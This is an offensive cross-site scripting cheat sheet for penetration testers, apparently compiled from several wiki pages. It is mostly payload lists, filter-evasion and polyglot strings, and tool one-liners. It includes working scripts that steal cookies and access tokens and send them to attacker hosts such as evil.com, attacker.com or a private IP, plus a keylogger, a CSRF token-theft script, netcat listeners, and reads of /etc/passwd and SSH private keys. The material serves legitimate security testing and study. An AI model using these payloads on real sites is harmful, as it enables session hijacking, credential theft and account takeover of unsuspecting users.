# XSS (Cross-Site Scripting)

## JavaScript injection (XSS)

**A simple example**

* A vulnerable webapp allows users to post comments.
* When a user submits a comment, the website stores it and then displays it on the homepage without any validation or sanitization.
* An attacker could exploit this by posting `<script>prompt(1)</script>` to the site.
* When a user visits the homepage, the payload is executed in that users browser.

**Other learning resources:**

* PortSwigger: <https://portswigger.net/web-security/cross-site-scripting>
* OWASP: <https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README>

**Writeups:**

* Bullets

### Checklist

* [ ] Is your input reflected in the response?
* [ ] Can we inject HTML?
* [ ] Are there any weaknesses in the Content Security Policy (CSP)?
* [ ] Can we use events (e.g. onload, onerror)?
* [ ] Are there any filtered or escaped characters?
* [ ] Is your input stored and then later rendered?
* [ ] Can you inject into non-changing values (e.g. usernames)?
* [ ] Is any input collected from a third party (e.g. account information)?
* [ ] Is the version of the framework or dependency vulnerable?

### Exploitation

```javascript
alert(1)
prompt(1)
```

```html
<script src="http://<our-ip>/script.js"></script>
```

```javascript
let cookie = document.cookie
let encodedCookie = encodeURIComponent(cookie)
fetch("https://<your-web-server>/e?c=" + encodedCookie)
```

```javascript
function logKey(event){
    fetch("http://<your-web-server>/e?c=" + event.key)
}
document.addEventListener('keydown', logKey);
```

## XSS (Cross-Site Scripting) <a href="#xss-cross-site-scripting" id="xss-cross-site-scripting"></a>

XSS enables attackers to injection client-side scripts into web applications.

### Automation <a href="#automation" id="automation"></a>

* [Dalfox](https://github.com/hahwul/dalfox)

```
# -b: Callback url
dalfox url https://example.com/?q=test -b http://<attack-ip>:<attack-port>

# -X: Method
# --data: POST data
# -p: Specific parameter
dalfox url https://example.com/contact -X POST --data "email=test&message=test" -p message -b http://<attack-ip>:<attack-port>
```

* [XSStrike](https://github.com/s0md3v/XSStrike)

```
# GET request
python xsstrike.py -u http://vulnerable.com/?param=test

# POST reqeust
python xsstrike.py -u http://vulnerable.com/post --data "username=test&email=test&comment=test"

# data as JSON
python xsstrike.py -u http://vulnerable.com/comment --data '{"comment": "test"}' --json
```

### Payloads <a href="#payloads" id="payloads"></a>

We can insert them into **URL params**, **POST params** or **HTTP headers**.\
Additionary, we can also find CVE related XSS [here](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=xss).

```
<script>alert(1)</script>
"><script>alert(1)</script>
'></script><script>alert(1)</script>
<script>onerror=alert;throw 123</script>
<script>{onerror=alert}throw 123</script>
<script>throw onerror=alert,'hello',123,'world'</script>
<script>fetch('/profile?new_password=password');</script>
</textarea><script>alert(1)</script>
%3Cscript%3Ealert%281%29%3C%2Fscript%3E
%0D%0A<script>alert(1)</script>
%0D%0A%0D%0A<script>alert(1)</script>

<iframe src="javascript:alert(1)"></iframe>
<iframe src=http://10.0.0.1:8000/xss.js></iframe>
<iframe onload=alert(1)></iframe>

" src=1 onerror=alert(1)>
<><img src=1 onerror=alert(1)>
"><img src=1 onerror=alert(1)>
"></span><img src=1 onerror=alert(1)>
<img src="javascript:alert(1)">
<img src="jav ascript:alert(1)">
<img src="jav&#x09;ascript:alert(1)">
<img src="jav&#x0A;ascript:alert(1)">
<img dynsrc="javascript:alert(1)">
<img lowsrc="javascript:alert(1)">
<img src=http://10.0.0.1/>

"><svg onload=alert(1)>
<svg onmouseover="alert(1)"></svg>
<svg><animatetransform onclick="alert(1)"></svg>
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

<a onmouseover=alert(1)>click</a>
<a href="javascript:alert(1)">Click</a>

<input autofocus onfocus=alert(1)>

<select autofocus onfocus=alert(1)>

<body onload=alert(/XSS/.source)>
<body background="javascript:alert(1)">

';alert(1);'
" onmouseleave='alert(1)'">
javascript:alert(1)
\"-alert(1)//

/?q=&subparam=--><script>alert(1)</script>
/index.php#value='><script>alert(1)</script>
```

To find more payloads, we can see [Port Swigger's XSS Cheat Sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).

#### HTML Entity <a href="#html-entity" id="html-entity"></a>

Reference: <https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html#img-onerror-and-javascript-alert-encode>

```
<!-- <img src=javascript:alert('XSS')> -->
<img src=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

<!-- onerror="javascript:alert('XSS')" -->
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
```

#### JQuery <a href="#jquery" id="jquery"></a>

```
https://example.com/#<img src=1 onerror=alert(1)>
<iframe src="https://example.com/#" onload="this.src+='<img src=1 onerror=alert(1)>'">
```

#### AngularJS <a href="#angularjs" id="angularjs"></a>

If you find **`<html ng-app>`**, **`<body ng-app>`** or **`<div ng-app>`** in the HTML source code, you may be able to abuse it by XSS.

```
https://example.com/?search={{$eval.constructor('alert(1)')()}}
https://example.com/?search={{$on.constructor('alert(1)')()}}
```

To perform XSS without **`$eval`** function and quotes, we might be able to take another approach.\
[This PortSwigger's lab](https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-without-strings) provides the following payload. But sorry, I don’t understand how it works at the moment.

```
# toString() : Create a string without quotes.
# toString().constructor.prototype.charAt=[].join :  Override `charAt` function for all strings with `[].join`.
# [1]|orderBy:toString().constructor.fromCharCode(...) : Pass an array to the `orderBy` filter.
# 120,61,97,108,101,114,116,40,49,41 : It means `x=alert(1)` in decimal.
https://example.com/?q=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
```

#### AngularJS and CSP (Content Security Policy) <a href="#angularjs-and-csp-content-security-policy" id="angularjs-and-csp-content-security-policy"></a>

Reference: [PortSwigger's lab](https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-and-csp)

If the website uses AngularJS with CSP (**`ng-csp`**) as below,

```
<body ng-app ng-csp>
```

We need to bypass them by using a focus event (**`ng-focus`**),

```
/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
```

#### Polyglot XSS <a href="#polyglot-xss" id="polyglot-xss"></a>

```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
```

### Exploit <a href="#exploit" id="exploit"></a>

After finding the XSS vulnerability, we can abuse it with

#### Load External JavaScript Code <a href="#load-external-javascript-code" id="load-external-javascript-code"></a>

We may be able to execute our JavaScript file which is hosted on our server.

```
<script src="https://evil.com/evil.js"></script>
```

#### Cookie Stealing <a href="#cookie-stealing" id="cookie-stealing"></a>

We can steal a victim's cookie with the following payload:

```
<script>window.location.href="https://evil.com/?c="+document.cookie</script>
```

Alternatively, inject the following payload into input fields in a target website.

```
<!-- Option 1. GET method -->
<script>fetch("http://evil.com/?"+btoa(document.cookie));</script>
<script>c=document.cookie;fetch(`http://evil.com/${c}`)</script>
<script>c=localStorage.getItem('access_token');fetch(`http://evil.com/${c}`)</script>

<!-- Option 2. POST method -->
<script>
    fetch("http://10.0.0.1/", {
        method: 'POST',
        mode: 'no-cors',
        body: document.cookie
    });
</script>
```

To retrieve data, start web server or listener in local machine.

```
sudo python3 -m http.server 80
# or
sudo nc -lvp 80
```

When victims access to the target page, we may get their request headers in our server log.

#### Filter Evasion <a href="#filter-evasion" id="filter-evasion"></a>

* **Base64 & Eval**

  Website may sanitize inputs to prevent from malicious code. However, we might be able to circumvent by modifying our code.\
  For example, convert JavaScript code to Base64 string, then insert the base64 string into the **“eval”** function as below.

  ```
  # ZmV0Y2goImh0dHA6Ly9ldmlsLmNvbS8iICsgZG9jdW1lbnQuY29va2llKTs= : fetch("http://evil.com/"+document.cookie);
  <img src=x onerror="eval(decode64('ZmV0Y2goImh0dHA6Ly9ldmlsLmNvbS8iICsgZG9jdW1lbnQuY29va2llKTs='))">

  # '(' => '\x28'
  # ')' => '\x29'
  <img src="x" onerror=eval.call`${"eval\x28atob`ZmV0Y2goImh0dHA6Ly9ldmlsLmNvbS8iICsgZG9jdW1lbnQuY29va2llKTs=`\x29"}`
  ```
* **Charcode & Eval**

  We can use charcode (we can generate easily in CiberChef with the Base10 option) of the payload as below.

  ```
  fetch("http://evil.com/"+document.cookie);

  # Charcode (Base10): 102,101,116,99,104,40,34,104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,47,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59
  ```

  Then create **`eval`** function to use it.

  ```
  <img src=x onerror="eval(String.fromCharCode(102,101,116,99,104,40,34,104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,47,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))">
  ```

#### Steal Contents of Restricted Pages or Files <a href="#steal-contents-of-restricted-pages-or-files" id="steal-contents-of-restricted-pages-or-files"></a>

If JavaScript code can be executed via XSS, we can let victims to get contents of restricted pages and send them to our server.

```
<script>
    fetch("/secret")
        .then(resp => resp.text())
        .then(text => {
            fetch(`http://attacker.com/?text=${btoa(text)}`);
        })
        .catch(err => {
            fetch(`http://attacker.com/?err=${err}`);
        });
</script>
```

#### Interact with Another Host via XML HTTP Request <a href="#interact-with-another-host-via-xml-http-request" id="interact-with-another-host-via-xml-http-request"></a>

We might be able to send request the another host and retrieve the response.\
First, create a JavaScript file named **`exploit.js`** here. Replace **`http://evil.com`** with your local ip address.\
By this script, we send a request to **`http://sub.victim.com`** then fetch the response from the host.

* **GET Request**

  ```
  // exploit.js
  var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = () => {
      if (xhr.readyState == XMLHttpRequest.DONE) {
          var xhr_exfil = new XMLHttpRequest();
          xhr_exfil.open('POST', "http://evil.com:1234/", false);
          xhr_exfil.send(xhr.response);
      }
  };
  xhr.open('GET', "http://victim.com/index.php", false);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send();
  ```
* **POST Request**

  ```
  // exploit.js
  var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = () => {
      if (xhr.readyState == XMLHttpRequest.DONE) {
          var xhr_exfil = new XMLHttpRequest();
          xhr_exfil.open('POST', "http://evil.com:1234/", false);
          xhr_exfil.send(xhr.response);
      }
  };
  xhr.open('POST', "http://victim.com/login.php", false);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send("username=admin&password=admin");
  ```

  Now we start web server to host the `exploit.js` and listener to receive the response.

  ```
  # Terminal 1: Web server
  sudo python3 -m http.server 80

  # Terminal 2: Listener
  sudo nc -lvp 1234
  ```

  Then send a request with XSS to execute our payload (**`exploit.js`**). Replace the **`evil.com`** with your local ip address.

  ```
  <script src="http://evil.com/exploit.js"></script>
  ```

  We might fetch the response.

#### CSRF <a href="#csrf" id="csrf"></a>

The example below sends request to **`/admin`** on the victim site at first.\
And retrieve HTML document and get CSRF token. Next, insert the new **`form`** element to submit arbitrary POST data.

```
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://victim.com/admin", true);
xhr.send();

setTimeout(function() {
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
    var token = doc.getElementById('csrf_token').value;
    var evilDOM = new DOMParser().parseFromString('<form id="evilform" method="POST" action="/admin/change-user-status"><input type="hidden" name="csrf_token" value="temp"><input type="text" name="username" value="john"><input type="number" name="is_admin" value="0"><button name="button" type="submit">Submit</button></form>', 'text/html');

        document.body.append(evilDOM.forms.evilform);
        var evilForm = document.getElementById('evilform');
    evilForm.elements.csrf_token.value = token;
        evilForm.elements.is_admin.value = 1;
    evilForm.submit();
}, 3000);
```

After that, we can inject the script above in XSS.\
For example, encode the script as Base64, then put it into the XSS payload as below.

```
<!-- `dmFyIHh...DAwKTs=` is the Base64 encoded script above -->
<img src=x onerror=eval.call`${"eval\x28atob`dmFyIHh...DAwKTs=`\x29"}`>
```

We might be able to get sensitive information or change crucial data on the target.

#### Register New User with XSS <a href="#register-new-user-with-xss" id="register-new-user-with-xss"></a>

If the user name is reflected in the website, we might be able to inject XSS when registration.

```
username=john<script>alert(1)</script>&password=pass
```

#### Key Logging <a href="#key-logging" id="key-logging"></a>

Reference: [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection#javascript-keylogger](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#javascript-keylogger)

```
<img src=x onerror='document.onkeypress=function(e){fetch("http://attacker.com?k="+String.fromCharCode(e.which))},this.remove();'>
```

### References <a href="#references" id="references"></a>

* [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked)
* [PortSwigger](https://portswigger.net/research/xss-without-parentheses-and-semi-colons)
* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)
* [BruteLogic](https://brutelogic.com.br/blog/building-xss-polyglots/)
* [0xsobky](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)

## XSS

{% embed url="<https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>" %}

{% hint style="info" %}
Try XSS in every input field, host headers, url redirections, URI paramenters and file upload namefiles.

Actions: phising through iframe, cookie stealing, always try convert self to reflected.
{% endhint %}

### Tools

```bash
# https://github.com/hahwul/dalfox
dalfox url http://testphp.vulnweb.com/listproducts.php

# https://github.com/KathanP19/Gxss
# Replace every param value with word FUZZ
echo "https://target.com/some.php?first=hello&last=world" | Gxss -c 100

# XSpear
gem install XSpear
XSpear -u 'https://web.com' -a
XSpear -u 'https://www.web.com/?q=123' --cookie='role=admin' -v 1 -a -b https://six2dez.xss.ht -t 20
XSpear -u "http://testphp.vulnweb.com/search.php?test=query" -p test -v 1

# Xira
# https://github.com/xadhrit/xira
python3 xira.py -u url

# Hosting XSS
# surge.sh
npm install --global surge
mkdir mypayload
cd mypayload
echo "alert(1)" > payload.js
surge # It returns the url

# XSS vectors
https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

# Payload list
https://github.com/m0chan/BugBounty/blob/master/xss-payload-list.txt

https://github.com/terjanq/Tiny-XSS-Payloads

# XSS to RCE
# https://github.com/shelld3v/JSshell

# Polyglots
# https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

# XSS browser
# https://github.com/RenwaX23/XSSTRON

# Blind
# https://github.com/hipotermia/vaya-ciego-nen
```

#### Oneliners

```bash
# WaybackUrls
echo "domain.com" | waybackurls | httpx -silent | Gxss -c 100 -p Xss | sort -u | dalfox pipe -b https://six2dez.xss.ht
# Param discovery based
paramspider -d target.com > /filepath/param.txt && dalfox -b https://six2dez.xss.ht file /filepath/param.txt 
# Blind XSS
cat target_list.txt | waybackurls -no-subs | grep "https://" | grep -v "png\|jpg\|css\|js\|gif\|txt" | grep "=" | qsreplace -a | dalfox pipe -b https://six2dez.xss.ht
# Reflected XSS
echo "domain.com" | waybackurls | gf xss | kxss
```

### XSS recopilation

#### Basics

```shellscript
# Locators
'';!--"<XSS>=&{()}

# 101
<script>alert(1)</script>
<script>+-+-1-+-+alert(1)</script>
<script>+-+-1-+-+alert(/xss/)</script>
%3Cscript%3Ealert(0)%3C%2Fscript%3E
%253Cscript%253Ealert(0)%253C%252Fscript%253E
<svg onload=alert(1)>
"><svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script src=data:&comma;alert(1)//
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
%5B'-alert(document.cookie)-'%5D
```

#### By tag

```shellscript
# Tag filter bypass
<svg/onload=alert(1)>
<script>alert(1)</script>
<script     >alert(1)</script>
<ScRipT>alert(1)</sCriPt>
<%00script>alert(1)</script>
<script>al%00ert(1)</script>

# HTML tags
<img/src=x a='' onerror=alert(1)>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<img src=`x`onerror=alert(1)>
<img src='/' onerror='alert("kalisa")'>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<SCRIPT SRC=http:/evil.com/xss.js?< B >
"><XSS<test accesskey=x onclick=alert(1)//test
<svg><discard onbegin=alert(1)>
<script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
<script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>

# Other tags
<BASE HREF="javascript:alert('XSS');//">
<DIV STYLE="width: expression(alert('XSS'));">
<TABLE BACKGROUND="javascript:alert('XSS')">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss onclick="alert(1)">test</xss>
<xss onmousedown="alert(1)">test</xss>
<body onresize=alert(1)>”onload=this.style.width=‘100px’>
<xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>

# CharCode
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

# Input already in script tag
@domain.com">user+'-alert`1`-'@domain.com

# Scriptless
<link rel=icon href="//evil?
<iframe src="//evil?
<iframe src="//evil?
<input type=hidden type=image src="//evil?

# Unclosed Tags
<svg onload=alert(1)//
```

#### Blind

```shellscript
# Blind XSS
# https://github.com/LewisArdern/bXSS
# https://github.com/ssl/ezXSS
# https://xsshunter.com/

# Blind XSS detection
# Xsshunter payload in every field
# Review forms
# Contact Us pages
# Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode)
# Address fields of e-commerce sites
# First or Last Name field while doing Credit Card Payments
# Set User-Agent to a Blind XSS payload. You can do that easily from a proxy such as Burpsuite.
# Log Viewers
# Feedback Page
# Chat Applications
# Any app that requires user moderation
# Host header
# Why cancel subscription? forms
```

#### Bypasses

````shellscript
# No parentheses
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>

# No parentheses and no semicolons
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

# No parentheses and no spaces:
<script>Function`X${document.location.hash.substr`1`}```</script>

# Angle brackets HTML encoded (in an attribute)
“onmouseover=“alert(1)
‘-alert(1)-’

# If quote is escaped
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//

# Embedded tab, newline, carriage return to break up XSS
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

# RegEx bypass
<img src="X" onerror=top[8680439..toString(30)](1337)>

# Other
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)
````

#### Encoded

```shellscript
# Unicode
<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>

# Hex
<script>eval('\x61lert(1)')</script>

# HTML
<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
\’-alert(1)//

# URL
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>

# Double URL Encode
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E

# Unicode + HTML
<svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>

# HTML + URL
<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>
```

#### Polyglots

````shellscript
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
oNcliCk=alert(1)%20)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>%5Cx3csVg/<img/src/onerror=alert(2)>%5Cx3e
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(document.domain)//'>
javascript:alert();//<img src=x:x onerror=alert(1)>\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//--></title></textarea></style></noscript></noembed></template></select></script><frame src=javascript:alert()><svg onload=alert()><!--
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> 
￼￼```
%3C!%27/!%22/!\%27/\%22/ — !%3E%3C/Title/%3C/script/%3E%3CInput%20Type=Text%20Style=position:fixed;top:0;left:0;font-size:999px%20*/;%20Onmouseenter=confirm1%20//%3E#
<!'/!”/!\'/\"/ — !></Title/</script/><Input Type=Text Style=position:fixed;top:0;left:0;font-size:999px */; Onmouseenter=confirm1 //>#
jaVasCript:/-//*\/'/"/*/(/ */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/ — !>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">>
” ></plaintext></|><plaintext/onmouseover=prompt(1) >prompt(1)@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’ →” > "></script>alert(1)”><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">">
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1)
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>
<sVg/oNloAd=”JaVaScRiPt:/**\/*\’/”\eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))”> <iframe src=jaVaScrIpT:eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouse over=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><imgsrc="http://i.imgur.com/P8mL8.jpg">

# No parenthesis, back ticks, brackets, quotes, braces
a=1337,b=confirm,c=window,c.onerror=b;throw-a

# Another uncommon
'-(a=alert,b="_Y000!_",[b].find(a))-'

# Common XSS in HTML Injection
<svg onload=alert(1)>
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>
<script src=data:,alert(1)>
# inline
"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //
# src attribute
javascript:alert(1)
# JS injection
'-alert(1)-'
'/alert(1)//
\'/alert(1)//
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
/alert(1)//\
/alert(1)}//\
${alert(1)}

# XSS onscroll
<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y

# XSS filter bypasss polyglot:
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> 

" <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText.fontsize(1)) }; x.open("GET","file:///home/reader/.ssh/id_rsa"); x.send(); </script>
" <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>

# GO SSTI
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`

# Some XSS exploitations
- host header injection through xss
add referer: batman 
hostheader: bing.com">script>alert(document.domain)</script><"
- URL redirection through xss
document.location.href="http://evil.com"
- phishing through xss - iframe injection
<iframe src="http://evil.com" height="100" width="100"></iframe>
- Cookie stealing through xss
https://github.com/lnxg33k/misc/blob/master/XSS-cookie-stealer.py
https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md
<script>var i=new Image;i.src="http://172.30.5.46:8888/?"+document.cookie;</script>
<img src=x onerror=this.src='http://172.30.5.46:8888/?'+document.cookie;>
<img src=x onerror="this.src='http://172.30.5.46:8888/?'+document.cookie; this.removeAttribute('onerror');">
-  file upload  through xss
upload a picturefile, intercept it, change picturename.jpg to xss paylaod using intruder attack
-  remote file inclusion (RFI) through xss
php?=http://brutelogic.com.br/poc.svg - xsspayload
- convert self xss to reflected one
copy response in a file.html -> it will work

# XSS to SSRF
<esi:include src="http://yoursite.com/capture" />

# XSS to LFI
<script>	x=new XMLHttpRequest;	x.onload=function(){		document.write(this.responseText)	};	x.open("GET","file:///etc/passwd");	x.send();</script>

<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<script>document.write('<iframe src=file:///etc/passwd></iframe>');</scrip>
````

### XSS in files

```shellscript
# XSS in filename:
"><img src=x onerror=alert(document.domain)>.gif

# XSS in metadata:
exiftool -FIELD=XSS FILE
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg

# XSS in GIF Magic Number:
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
# If image can't load:
url.com/test.php?p=<script src=http://url.com/upload/img/xss.gif>

# XSS in png:
https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

# XSS in PDF:
https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html?m=1

# XSS upload filename:
cp somefile.txt \"\>\<img\ src\ onerror=prompt\(1\)\>
<img src=x onerror=alert('XSS')>.png
"><img src=x onerror=alert('XSS')>.png
"><svg onmouseover=alert(1)>.svg
<<script>alert('xss')<!--a-->a.png
"><svg onload=alert(1)>.gif

# XSS Svg Image upload
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('XSS!');
   </script>
</svg>

# XSS svg image upload 2
# If you're testing a text editor on a system that you can also upload files to, try to embed an svg:
<iframe src="https://s3-us-west-2.amazonaws.com/s.cdpn.io/3/movingcart_1.svg" frameborder="0"></iframe>
